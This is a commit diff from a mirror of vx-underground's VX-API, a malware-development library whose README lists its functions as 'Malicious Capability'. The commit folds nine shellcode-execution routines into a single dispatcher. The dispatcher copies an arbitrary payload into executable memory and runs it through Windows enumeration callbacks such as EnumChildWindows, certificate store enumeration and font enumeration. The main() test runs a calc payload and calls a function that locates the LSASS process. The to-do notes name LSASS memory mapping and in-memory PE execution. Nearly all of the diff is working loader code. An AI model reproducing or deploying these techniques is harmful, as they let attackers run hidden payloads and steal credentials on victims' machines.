mirror of
https://github.com/vxunderground/VX-API
synced 2026-06-06 16:54:55 +00:00
cleaned up code
clean up and merge
This commit is contained in:
vxunderground
@@ -3,7 +3,7 @@ managed by [vx-underground](https://vx-underground.org) | follow us on [Twitter]
|
||||
|
||||
# VX-API
|
||||
|
||||
Version: 2.0.270
|
||||
Version: 2.0.285
|
||||
|
||||
Developer: smelly__vx
|
||||
|
||||
@@ -132,21 +132,12 @@ You're free to use this in any manner you please. You do not need to use this en
|
||||
| MpfGetLsaPidFromServiceManager | modexp | Malicious Capability |
|
||||
| MpfGetLsaPidFromRegistry | modexp | Malicious Capability |
|
||||
| MpfGetLsaPidFromNamedPipe | modexp | Malicious Capability |
|
||||
| ShellcodeExecViaCertEnumSystemStore | alfarom256 and aahmad097| Malicious Capability |
|
||||
| ShellcodeExecViaCDefFolderMenu_Create2 | alfarom256 and aahmad097| Malicious Capability |
|
||||
| ShellcodeExecViaCertEnumSystemStoreLocation | alfarom256 and aahmad097| Malicious Capability |
|
||||
| ShellcodeExecViaCertFindChainInStore | alfarom256 and aahmad097| Malicious Capability |
|
||||
| ShellcodeExecViaEnumChildWindows | alfarom256 and aahmad097| Malicious Capability |
|
||||
| ShellcodeExecViaEnumDateFormatsW | alfarom256 and aahmad097| Malicious Capability |
|
||||
| ShellcodeExecViaEnumDesktopsW | alfarom256 and aahmad097| Malicious Capability |
|
||||
| ShellcodeExecViaEnumDesktopWindows | alfarom256 and aahmad097| Malicious Capability |
|
||||
| ShellcodeExecViaEnumDirTreeW | alfarom256 and aahmad097| Malicious Capability |
|
||||
| ShellcodeExecutionViaFunctionCallbackMain | smelly__vx, alfarom256 and aahmad097| Malicious Capability |
|
||||
|
||||
|
||||
# Todo list
|
||||
| Functionality | Author | Note |
|
||||
| ------------- | ------ | ---- |
|
||||
| EvtQuery | modexp | Security Event Log |
|
||||
| NtMapViewOfSection lsass | modexp | NtMapViewOfSection |
|
||||
| IcmpSendEcho | N/A | Sync PING |
|
||||
| IcmpSendEcho2Ex | N/A | Async PING w/ APC |
|
||||
|
||||
+3
-3
@@ -7,7 +7,6 @@
|
||||
/*
|
||||
TODO:
|
||||
- Ping with 'IcmpSendEcho2Ex'
|
||||
- PID stuff: https://www.mdsec.co.uk/2022/08/fourteen-ways-to-read-the-pid-for-the-local-security-authority-subsystem-service-lsass/
|
||||
- Run PE in memory https://papers.vx-underground.org/papers/Windows/Evasion%20-%20Systems%20Call%20and%20Memory%20Evasion/Executing%20a%20PE%20File%20in%20Memory.zip
|
||||
- Download file options: https://www.x86matthew.com/view_post?id=ntsockets
|
||||
- https://learn.microsoft.com/en-us/windows/win32/api/shlwapi/nf-shlwapi-shansitounicode
|
||||
@@ -46,10 +45,11 @@ int main(VOID)
|
||||
SHELLCODE_EXECUTION_INFORMATION Sei = { 0 };
|
||||
Sei.Payload = GlobalOpenCalcPayload;
|
||||
Sei.dwLengthOfPayloadInBytes = 277;
|
||||
Sei.MethodEnum = E_ENUMFONTFAMILIESEXW;
|
||||
|
||||
//ShellcodeExecViaEnumDirTreeW(&Sei);
|
||||
ShellcodeExecutionViaFunctionCallbackMain(&Sei);
|
||||
|
||||
dwError = MpfGetLsaPidFromNamedPipe();
|
||||
|
||||
|
||||
return dwError;
|
||||
}
|
||||
|
||||
@@ -1,46 +0,0 @@
|
||||
#include "Win32Helper.h"
|
||||
|
||||
DWORD UnusedSubroutineDisposeableThreadCDefFolderMenu_Create2(LPVOID Param)
|
||||
{
|
||||
PSHELLCODE_EXECUTION_INFORMATION Sei = (PSHELLCODE_EXECUTION_INFORMATION)Param;
|
||||
CDEFFOLDERMENU_CREATE2 CDefFolderMenu_Create2 = NULL;
|
||||
LPVOID BinAddress = NULL;
|
||||
HMODULE hModule = NULL;
|
||||
BOOL bFlag = FALSE;
|
||||
PVOID ContextMenuRequired = NULL;
|
||||
|
||||
hModule = TryLoadDllMultiMethodW((PWCHAR)L"Shell32.dll");
|
||||
if (!hModule)
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
CDefFolderMenu_Create2 = (CDEFFOLDERMENU_CREATE2)GetProcAddressA((DWORD64)hModule, "CDefFolderMenu_Create2");
|
||||
if (!CDefFolderMenu_Create2)
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
BinAddress = VirtualAlloc(NULL, Sei->dwLengthOfPayloadInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
if (BinAddress == NULL)
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
CopyMemoryEx(BinAddress, Sei->Payload, Sei->dwLengthOfPayloadInBytes);
|
||||
|
||||
if (!SUCCEEDED(CDefFolderMenu_Create2(NULL, NULL, 0, NULL, NULL, BinAddress, 0, NULL, &ContextMenuRequired)))
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
bFlag = TRUE;
|
||||
|
||||
EXIT_ROUTINE:
|
||||
|
||||
if (hModule)
|
||||
FreeLibrary(hModule);
|
||||
|
||||
if (BinAddress)
|
||||
VirtualFree(BinAddress, 0, MEM_RELEASE);
|
||||
|
||||
return (bFlag ? 0 : 0xffffffff);
|
||||
}
|
||||
|
||||
|
||||
BOOL ShellcodeExecViaCDefFolderMenu_Create2(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei)
|
||||
{
|
||||
return CreateThreadAndWaitForCompletion(UnusedSubroutineDisposeableThreadCDefFolderMenu_Create2, Sei, INFINITE);
|
||||
}
|
||||
@@ -1,44 +0,0 @@
|
||||
#include "Win32Helper.h"
|
||||
|
||||
DWORD UnusedSubroutineDisposeableThreadCertEnumSystemStore(LPVOID Param)
|
||||
{
|
||||
PSHELLCODE_EXECUTION_INFORMATION Sei = (PSHELLCODE_EXECUTION_INFORMATION)Param;
|
||||
CERTENUMSYSTEMSTORE pCertEnumSystemStore = NULL;
|
||||
LPVOID BinAddress = NULL;
|
||||
HMODULE hModule = NULL;
|
||||
BOOL bFlag = FALSE;
|
||||
|
||||
hModule = TryLoadDllMultiMethodW((PWCHAR)L"Crypt32.dll");
|
||||
if (!hModule)
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
pCertEnumSystemStore = (CERTENUMSYSTEMSTORE)GetProcAddressA((DWORD64)hModule, "CertEnumSystemStore");
|
||||
if (!pCertEnumSystemStore)
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
BinAddress = VirtualAlloc(NULL, Sei->dwLengthOfPayloadInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
if (BinAddress == NULL)
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
CopyMemoryEx(BinAddress, Sei->Payload, Sei->dwLengthOfPayloadInBytes);
|
||||
|
||||
if (!pCertEnumSystemStore(CERT_SYSTEM_STORE_CURRENT_USER, NULL, NULL, (PFN_CERT_ENUM_SYSTEM_STORE)BinAddress))
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
bFlag = TRUE;
|
||||
|
||||
EXIT_ROUTINE:
|
||||
|
||||
if (hModule)
|
||||
FreeLibrary(hModule);
|
||||
|
||||
if (BinAddress)
|
||||
VirtualFree(BinAddress, 0, MEM_RELEASE);
|
||||
|
||||
return (bFlag ? 0 : 0xffffffff);
|
||||
}
|
||||
|
||||
BOOL ShellcodeExecViaCertEnumSystemStore(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei)
|
||||
{
|
||||
return CreateThreadAndWaitForCompletion(UnusedSubroutineDisposeableThreadCertEnumSystemStore, Sei, INFINITE);
|
||||
}
|
||||
@@ -1,45 +0,0 @@
|
||||
#include "Win32Helper.h"
|
||||
|
||||
DWORD UnusedSubroutineDisposeableThreadCertEnumSystemStoreLocation(LPVOID Param)
|
||||
{
|
||||
PSHELLCODE_EXECUTION_INFORMATION Sei = (PSHELLCODE_EXECUTION_INFORMATION)Param;
|
||||
CERTENUMSYSTEMSTORELOCATION pCertEnumSystemStoreLocation = NULL;
|
||||
LPVOID BinAddress = NULL;
|
||||
HMODULE hModule = NULL;
|
||||
BOOL bFlag = FALSE;
|
||||
|
||||
hModule = TryLoadDllMultiMethodW((PWCHAR)L"Crypt32.dll");
|
||||
if (!hModule)
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
pCertEnumSystemStoreLocation = (CERTENUMSYSTEMSTORELOCATION)GetProcAddressA((DWORD64)hModule, "CertEnumSystemStoreLocation");
|
||||
if (!pCertEnumSystemStoreLocation)
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
BinAddress = VirtualAlloc(NULL, Sei->dwLengthOfPayloadInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
if (BinAddress == NULL)
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
CopyMemoryEx(BinAddress, Sei->Payload, Sei->dwLengthOfPayloadInBytes);
|
||||
|
||||
if (!pCertEnumSystemStoreLocation(NULL, NULL, (PFN_CERT_ENUM_SYSTEM_STORE_LOCATION)BinAddress))
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
bFlag = TRUE;
|
||||
|
||||
EXIT_ROUTINE:
|
||||
|
||||
if (hModule)
|
||||
FreeLibrary(hModule);
|
||||
|
||||
if (BinAddress)
|
||||
VirtualFree(BinAddress, 0, MEM_RELEASE);
|
||||
|
||||
return (bFlag ? 0 : 0xffffffff);
|
||||
}
|
||||
|
||||
|
||||
BOOL ShellcodeExecViaCertEnumSystemStoreLocation(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei)
|
||||
{
|
||||
return CreateThreadAndWaitForCompletion(UnusedSubroutineDisposeableThreadCertEnumSystemStoreLocation, Sei, INFINITE);
|
||||
}
|
||||
@@ -1,58 +0,0 @@
|
||||
#include "Win32Helper.h"
|
||||
|
||||
DWORD UnusedSubroutineDisposeableThreadCertFindChainInStore(LPVOID Param)
|
||||
{
|
||||
PSHELLCODE_EXECUTION_INFORMATION Sei = (PSHELLCODE_EXECUTION_INFORMATION)Param;
|
||||
LPVOID BinAddress = NULL;
|
||||
HMODULE hModule = NULL;
|
||||
BOOL bFlag = FALSE;
|
||||
CERTOPENSTORE CertOpenStore = NULL;;
|
||||
HCERTSTORE hCertStore = NULL;
|
||||
CERTFINDCHAININSTORE CertFindChainInStore = NULL;;
|
||||
CERTCLOSESTORE CertCloseStore = NULL;;
|
||||
CERT_CHAIN_FIND_ISSUER_PARA ChainFind = { 0 };
|
||||
|
||||
hModule = TryLoadDllMultiMethodW((PWCHAR)L"Crypt32.dll");
|
||||
if (!hModule)
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
CertOpenStore = (CERTOPENSTORE)GetProcAddressA((DWORD64)hModule, "CertOpenStore");
|
||||
CertFindChainInStore = (CERTFINDCHAININSTORE)GetProcAddressA((DWORD64)hModule, "CertFindChainInStore");
|
||||
CertCloseStore = (CERTCLOSESTORE)GetProcAddressA((DWORD64)hModule, "CertCloseStore");
|
||||
|
||||
if (!CertOpenStore || !CertFindChainInStore || !CertCloseStore)
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
BinAddress = VirtualAlloc(NULL, Sei->dwLengthOfPayloadInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
if (BinAddress == NULL)
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
CopyMemoryEx(BinAddress, Sei->Payload, Sei->dwLengthOfPayloadInBytes);
|
||||
|
||||
hCertStore = CertOpenStore(CERT_STORE_PROV_SYSTEM_W, 0, NULL, CERT_SYSTEM_STORE_CURRENT_USER, (PVOID)L"My");
|
||||
if (hCertStore == NULL)
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
ChainFind.pfnFindCallback = (PFN_CERT_CHAIN_FIND_BY_ISSUER_CALLBACK)BinAddress;
|
||||
ChainFind.cbSize = sizeof(CERT_CHAIN_FIND_BY_ISSUER_PARA);
|
||||
|
||||
CertFindChainInStore(hCertStore, X509_ASN_ENCODING, 0, CERT_CHAIN_FIND_BY_ISSUER, &ChainFind, NULL);
|
||||
|
||||
bFlag = TRUE;
|
||||
|
||||
EXIT_ROUTINE:
|
||||
|
||||
if (hModule)
|
||||
FreeLibrary(hModule);
|
||||
|
||||
if (BinAddress)
|
||||
VirtualFree(BinAddress, 0, MEM_RELEASE);
|
||||
|
||||
return (bFlag ? 0 : 0xffffffff);
|
||||
}
|
||||
|
||||
|
||||
BOOL _unstable__ShellcodeExecViaCertFindChainInStore(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei)
|
||||
{
|
||||
return CreateThreadAndWaitForCompletion(UnusedSubroutineDisposeableThreadCertFindChainInStore, Sei, INFINITE);
|
||||
}
|
||||
@@ -1,31 +0,0 @@
|
||||
#include "Win32Helper.h"
|
||||
|
||||
DWORD UnusedSubroutineDisposeableThreadEnumChildWindows(LPVOID Param)
|
||||
{
|
||||
PSHELLCODE_EXECUTION_INFORMATION Sei = (PSHELLCODE_EXECUTION_INFORMATION)Param;
|
||||
LPVOID BinAddress = NULL;
|
||||
BOOL bFlag = FALSE;
|
||||
|
||||
BinAddress = VirtualAlloc(NULL, Sei->dwLengthOfPayloadInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
if (BinAddress == NULL)
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
CopyMemoryEx(BinAddress, Sei->Payload, Sei->dwLengthOfPayloadInBytes);
|
||||
|
||||
EnumChildWindows(NULL, (WNDENUMPROC)BinAddress, NULL);
|
||||
|
||||
bFlag = TRUE;
|
||||
|
||||
EXIT_ROUTINE:
|
||||
|
||||
if (BinAddress)
|
||||
VirtualFree(BinAddress, 0, MEM_RELEASE);
|
||||
|
||||
return (bFlag ? 0 : 0xffffffff);
|
||||
}
|
||||
|
||||
|
||||
BOOL ShellcodeExecViaEnumChildWindows(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei)
|
||||
{
|
||||
return CreateThreadAndWaitForCompletion(UnusedSubroutineDisposeableThreadEnumChildWindows, Sei, INFINITE);
|
||||
}
|
||||
@@ -1,31 +0,0 @@
|
||||
#include "Win32Helper.h"
|
||||
|
||||
DWORD UnusedSubroutineDisposeableThreadEnumDateFormatsW(LPVOID Param)
|
||||
{
|
||||
PSHELLCODE_EXECUTION_INFORMATION Sei = (PSHELLCODE_EXECUTION_INFORMATION)Param;
|
||||
LPVOID BinAddress = NULL;
|
||||
BOOL bFlag = FALSE;
|
||||
|
||||
BinAddress = VirtualAlloc(NULL, Sei->dwLengthOfPayloadInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
if (BinAddress == NULL)
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
CopyMemoryEx(BinAddress, Sei->Payload, Sei->dwLengthOfPayloadInBytes);
|
||||
|
||||
EnumDateFormatsW((DATEFMT_ENUMPROCW)BinAddress, LOCALE_SYSTEM_DEFAULT, 0);
|
||||
|
||||
bFlag = TRUE;
|
||||
|
||||
EXIT_ROUTINE:
|
||||
|
||||
if (BinAddress)
|
||||
VirtualFree(BinAddress, 0, MEM_RELEASE);
|
||||
|
||||
return (bFlag ? 0 : 0xffffffff);
|
||||
}
|
||||
|
||||
|
||||
BOOL ShellcodeExecViaEnumDateFormatsW(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei)
|
||||
{
|
||||
return CreateThreadAndWaitForCompletion(UnusedSubroutineDisposeableThreadEnumDateFormatsW, Sei, INFINITE);
|
||||
}
|
||||
@@ -1,31 +0,0 @@
|
||||
#include "Win32Helper.h"
|
||||
|
||||
DWORD UnusedSubroutineDisposeableThreadEnumDesktopWindows(LPVOID Param)
|
||||
{
|
||||
PSHELLCODE_EXECUTION_INFORMATION Sei = (PSHELLCODE_EXECUTION_INFORMATION)Param;
|
||||
LPVOID BinAddress = NULL;
|
||||
BOOL bFlag = FALSE;
|
||||
|
||||
BinAddress = VirtualAlloc(NULL, Sei->dwLengthOfPayloadInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
if (BinAddress == NULL)
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
CopyMemoryEx(BinAddress, Sei->Payload, Sei->dwLengthOfPayloadInBytes);
|
||||
|
||||
EnumDesktopWindows(GetThreadDesktop(GetCurrentThreadId()), (WNDENUMPROC)BinAddress, NULL);
|
||||
|
||||
bFlag = TRUE;
|
||||
|
||||
EXIT_ROUTINE:
|
||||
|
||||
if (BinAddress)
|
||||
VirtualFree(BinAddress, 0, MEM_RELEASE);
|
||||
|
||||
return (bFlag ? 0 : 0xffffffff);
|
||||
}
|
||||
|
||||
|
||||
BOOL ShellcodeExecViaEnumDesktopWindows(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei)
|
||||
{
|
||||
return CreateThreadAndWaitForCompletion(UnusedSubroutineDisposeableThreadEnumDesktopWindows, Sei, INFINITE);
|
||||
}
|
||||
@@ -1,31 +0,0 @@
|
||||
#include "Win32Helper.h"
|
||||
|
||||
DWORD UnusedSubroutineDisposeableThreadEnumDesktopsW(LPVOID Param)
|
||||
{
|
||||
PSHELLCODE_EXECUTION_INFORMATION Sei = (PSHELLCODE_EXECUTION_INFORMATION)Param;
|
||||
LPVOID BinAddress = NULL;
|
||||
BOOL bFlag = FALSE;
|
||||
|
||||
BinAddress = VirtualAlloc(NULL, Sei->dwLengthOfPayloadInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
if (BinAddress == NULL)
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
CopyMemoryEx(BinAddress, Sei->Payload, Sei->dwLengthOfPayloadInBytes);
|
||||
|
||||
EnumDesktopsW(GetProcessWindowStation(), (DESKTOPENUMPROCW)BinAddress, NULL);
|
||||
|
||||
bFlag = TRUE;
|
||||
|
||||
EXIT_ROUTINE:
|
||||
|
||||
if (BinAddress)
|
||||
VirtualFree(BinAddress, 0, MEM_RELEASE);
|
||||
|
||||
return (bFlag ? 0 : 0xffffffff);
|
||||
}
|
||||
|
||||
|
||||
BOOL ShellcodeExecViaEnumDesktopsW(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei)
|
||||
{
|
||||
return CreateThreadAndWaitForCompletion(UnusedSubroutineDisposeableThreadEnumDesktopsW, Sei, INFINITE);
|
||||
}
|
||||
@@ -1,55 +0,0 @@
|
||||
#include "Win32Helper.h"
|
||||
|
||||
DWORD UnusedSubroutineDisposeableThreadEnumDirTreeW(LPVOID Param)
|
||||
{
|
||||
PSHELLCODE_EXECUTION_INFORMATION Sei = (PSHELLCODE_EXECUTION_INFORMATION)Param;
|
||||
SYMINITIALIZEW SymInitialize = NULL;
|
||||
SYMCLEANUP SymCleanup = NULL;
|
||||
ENUMDIRTREEW EnumDirTree = NULL;
|
||||
LPVOID BinAddress = NULL;
|
||||
BOOL bFlag = FALSE;
|
||||
HMODULE hModule = NULL;
|
||||
WCHAR DisposeableBuffer[512] = { 0 };
|
||||
|
||||
hModule = TryLoadDllMultiMethodW((PWCHAR)L"dbghelp.dll");
|
||||
if (hModule == NULL)
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
SymInitialize = (SYMINITIALIZEW)GetProcAddressA((DWORD64)hModule, "SymInitializeW");
|
||||
SymCleanup = (SYMCLEANUP)GetProcAddressA((DWORD64)hModule, "SymCleanup");
|
||||
EnumDirTree = (ENUMDIRTREEW)GetProcAddressA((DWORD64)hModule, "EnumDirTreeW");
|
||||
|
||||
if (!SymInitialize || !SymCleanup || !EnumDirTree)
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
if (!SymInitialize(InlineGetCurrentProcess, NULL, TRUE))
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
BinAddress = VirtualAlloc(NULL, Sei->dwLengthOfPayloadInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
if (BinAddress == NULL)
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
CopyMemoryEx(BinAddress, Sei->Payload, Sei->dwLengthOfPayloadInBytes);
|
||||
|
||||
EnumDirTree(InlineGetCurrentProcess, L"C:\\Windows", L"*.log", DisposeableBuffer, BinAddress, NULL);
|
||||
|
||||
SymCleanup(InlineGetCurrentProcess);
|
||||
|
||||
bFlag = TRUE;
|
||||
|
||||
EXIT_ROUTINE:
|
||||
|
||||
if (hModule)
|
||||
FreeLibrary(hModule);
|
||||
|
||||
if (BinAddress)
|
||||
VirtualFree(BinAddress, 0, MEM_RELEASE);
|
||||
|
||||
return (bFlag ? 0 : 0xffffffff);
|
||||
}
|
||||
|
||||
|
||||
BOOL ShellcodeExecViaEnumDirTreeW(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei)
|
||||
{
|
||||
return CreateThreadAndWaitForCompletion(UnusedSubroutineDisposeableThreadEnumDirTreeW, Sei, INFINITE);
|
||||
}
|
||||
@@ -0,0 +1,183 @@
|
||||
#include "Win32Helper.h"
|
||||
|
||||
DWORD ShellcodeExecutionDispatchHandler(LPVOID Param)
|
||||
{
|
||||
PSHELLCODE_EXECUTION_INFORMATION Sei = (PSHELLCODE_EXECUTION_INFORMATION)Param;
|
||||
LPVOID BinAddress = NULL;
|
||||
BOOL bFlag = FALSE;
|
||||
HMODULE hModule = NULL;
|
||||
|
||||
BinAddress = VirtualAlloc(NULL, Sei->dwLengthOfPayloadInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
if (BinAddress == NULL)
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
CopyMemoryEx(BinAddress, Sei->Payload, Sei->dwLengthOfPayloadInBytes);
|
||||
|
||||
switch (Sei->MethodEnum)
|
||||
{
|
||||
case E_CDEFFOLDERMENU_CREATE2:
|
||||
{
|
||||
CDEFFOLDERMENU_CREATE2 CDefFolderMenu_Create2 = NULL;
|
||||
PVOID ContextMenuRequired = NULL;
|
||||
|
||||
hModule = TryLoadDllMultiMethodW((PWCHAR)L"Shell32.dll");
|
||||
if (!hModule)
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
CDefFolderMenu_Create2 = (CDEFFOLDERMENU_CREATE2)GetProcAddressA((DWORD64)hModule, "CDefFolderMenu_Create2");
|
||||
if (!CDefFolderMenu_Create2)
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
if (!SUCCEEDED(CDefFolderMenu_Create2(NULL, NULL, 0, NULL, NULL, BinAddress, 0, NULL, &ContextMenuRequired)))
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
case E_CERTENUMSYSTEMSTORE:
|
||||
{
|
||||
CERTENUMSYSTEMSTORE CertEnumSystemStore = NULL;
|
||||
|
||||
hModule = TryLoadDllMultiMethodW((PWCHAR)L"Crypt32.dll");
|
||||
if (!hModule)
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
CertEnumSystemStore = (CERTENUMSYSTEMSTORE)GetProcAddressA((DWORD64)hModule, "CertEnumSystemStore");
|
||||
if (!CertEnumSystemStore)
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
if (!CertEnumSystemStore(CERT_SYSTEM_STORE_CURRENT_USER, NULL, NULL, (PFN_CERT_ENUM_SYSTEM_STORE)BinAddress))
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
case E_CERTENUMSYSTEMSTORELOCATION:
|
||||
{
|
||||
CERTENUMSYSTEMSTORELOCATION CertEnumSystemStoreLocation = NULL;
|
||||
|
||||
hModule = TryLoadDllMultiMethodW((PWCHAR)L"Crypt32.dll");
|
||||
if (!hModule)
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
CertEnumSystemStoreLocation = (CERTENUMSYSTEMSTORELOCATION)GetProcAddressA((DWORD64)hModule, "CertEnumSystemStoreLocation");
|
||||
if (!CertEnumSystemStoreLocation)
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
if (CertEnumSystemStoreLocation(NULL, NULL, (PFN_CERT_ENUM_SYSTEM_STORE_LOCATION)BinAddress))
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
case E_CERTFINDCHAININSTORE:
|
||||
{
|
||||
goto EXIT_ROUTINE;
|
||||
}
|
||||
|
||||
case E_ENUMCHILDWINDOWS:
|
||||
{
|
||||
if (!EnumChildWindows(NULL, (WNDENUMPROC)BinAddress, NULL))
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
case E_ENUMDATEFORMATSW:
|
||||
{
|
||||
if (!EnumDateFormatsW((DATEFMT_ENUMPROCW)BinAddress, LOCALE_SYSTEM_DEFAULT, 0))
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
case E_ENUMDESKTOPWINDOWS:
|
||||
{
|
||||
if (!EnumDesktopWindows(GetThreadDesktop(GetCurrentThreadId()), (WNDENUMPROC)BinAddress, NULL))
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
case E_ENUMDESKTOPSW:
|
||||
{
|
||||
if (!EnumDesktopsW(GetProcessWindowStation(), (DESKTOPENUMPROCW)BinAddress, NULL))
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
case E_ENUMDIRTREEW:
|
||||
{
|
||||
SYMINITIALIZEW SymInitialize = NULL;
|
||||
SYMCLEANUP SymCleanup = NULL;
|
||||
ENUMDIRTREEW EnumDirTree = NULL;
|
||||
WCHAR DisposeableBuffer[512] = { 0 };
|
||||
|
||||
hModule = TryLoadDllMultiMethodW((PWCHAR)L"dbghelp.dll");
|
||||
if (hModule == NULL)
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
SymInitialize = (SYMINITIALIZEW)GetProcAddressA((DWORD64)hModule, "SymInitializeW");
|
||||
SymCleanup = (SYMCLEANUP)GetProcAddressA((DWORD64)hModule, "SymCleanup");
|
||||
EnumDirTree = (ENUMDIRTREEW)GetProcAddressA((DWORD64)hModule, "EnumDirTreeW");
|
||||
|
||||
if (!SymInitialize || !SymCleanup || !EnumDirTree)
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
if (!SymInitialize(InlineGetCurrentProcess, NULL, TRUE))
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
EnumDirTree(InlineGetCurrentProcess, L"C:\\Windows", L"*.log", DisposeableBuffer, BinAddress, NULL);
|
||||
|
||||
SymCleanup(InlineGetCurrentProcess);
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
case E_ENUMDISPLAYMONITORS:
|
||||
{
|
||||
if (!EnumDisplayMonitors(NULL, NULL, (MONITORENUMPROC)BinAddress, NULL))
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
case E_ENUMFONTFAMILIESEXW:
|
||||
{
|
||||
LOGFONTW Font = { 0 };
|
||||
HDC Dc = NULL;
|
||||
|
||||
Font.lfCharSet = DEFAULT_CHARSET;
|
||||
Dc = GetDC(NULL);
|
||||
if (Dc == NULL)
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
if (!EnumFontFamiliesExW(Dc, &Font, (FONTENUMPROCW)BinAddress, NULL, NULL))
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
default:
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
}
|
||||
|
||||
bFlag = TRUE;
|
||||
|
||||
EXIT_ROUTINE:
|
||||
|
||||
if (hModule)
|
||||
FreeLibrary(hModule);
|
||||
|
||||
if (BinAddress)
|
||||
VirtualFree(BinAddress, 0, MEM_RELEASE);
|
||||
|
||||
return (bFlag ? 0 : 0xffffffff);
|
||||
}
|
||||
|
||||
BOOL ShellcodeExecutionViaFunctionCallbackMain(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei)
|
||||
{
|
||||
return CreateThreadAndWaitForCompletion(ShellcodeExecutionDispatchHandler, Sei, INFINITE);
|
||||
}
|
||||
@@ -223,15 +223,7 @@
|
||||
<ClCompile Include="SetLastErrorInTeb.cpp" />
|
||||
<ClCompile Include="SetLastNtStatusInTeb.cpp" />
|
||||
<ClCompile Include="SetProcessPrivilegeToken.cpp" />
|
||||
<ClCompile Include="ShellcodeExecViaCDefFolderMenu_Create2.cpp" />
|
||||
<ClCompile Include="ShellcodeExecViaCertEnumSystemStore.cpp" />
|
||||
<ClCompile Include="ShellcodeExecViaCertEnumSystemStoreLocation.cpp" />
|
||||
<ClCompile Include="ShellcodeExecViaCertFindChainInStore.cpp" />
|
||||
<ClCompile Include="ShellcodeExecViaEnumChildWindows.cpp" />
|
||||
<ClCompile Include="ShellcodeExecViaEnumDateFormatsW.cpp" />
|
||||
<ClCompile Include="ShellcodeExecViaEnumDesktopsW.cpp" />
|
||||
<ClCompile Include="ShellcodeExecViaEnumDesktopWindows.cpp" />
|
||||
<ClCompile Include="ShellcodeExecViaEnumDirTreeW.cpp" />
|
||||
<ClCompile Include="ShellcodeExecutionViaFunctionCallbackMain.cpp" />
|
||||
<ClCompile Include="StringCompare.cpp" />
|
||||
<ClCompile Include="StringConcat.cpp" />
|
||||
<ClCompile Include="StringCopy.cpp" />
|
||||
|
||||
@@ -52,9 +52,6 @@
|
||||
<Filter Include="Source Files\Windows API Helper Functions\Antidebug">
|
||||
<UniqueIdentifier>{5c518d5a-a7b5-448a-8872-577693d1ccca}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="Source Files\Windows API Helper Functions\Malicious Capabilities\Shellcode Execution from Callback">
|
||||
<UniqueIdentifier>{aa395805-0d12-4167-b761-9e5a6a14b2df}</UniqueIdentifier>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Main.cpp">
|
||||
@@ -384,39 +381,15 @@
|
||||
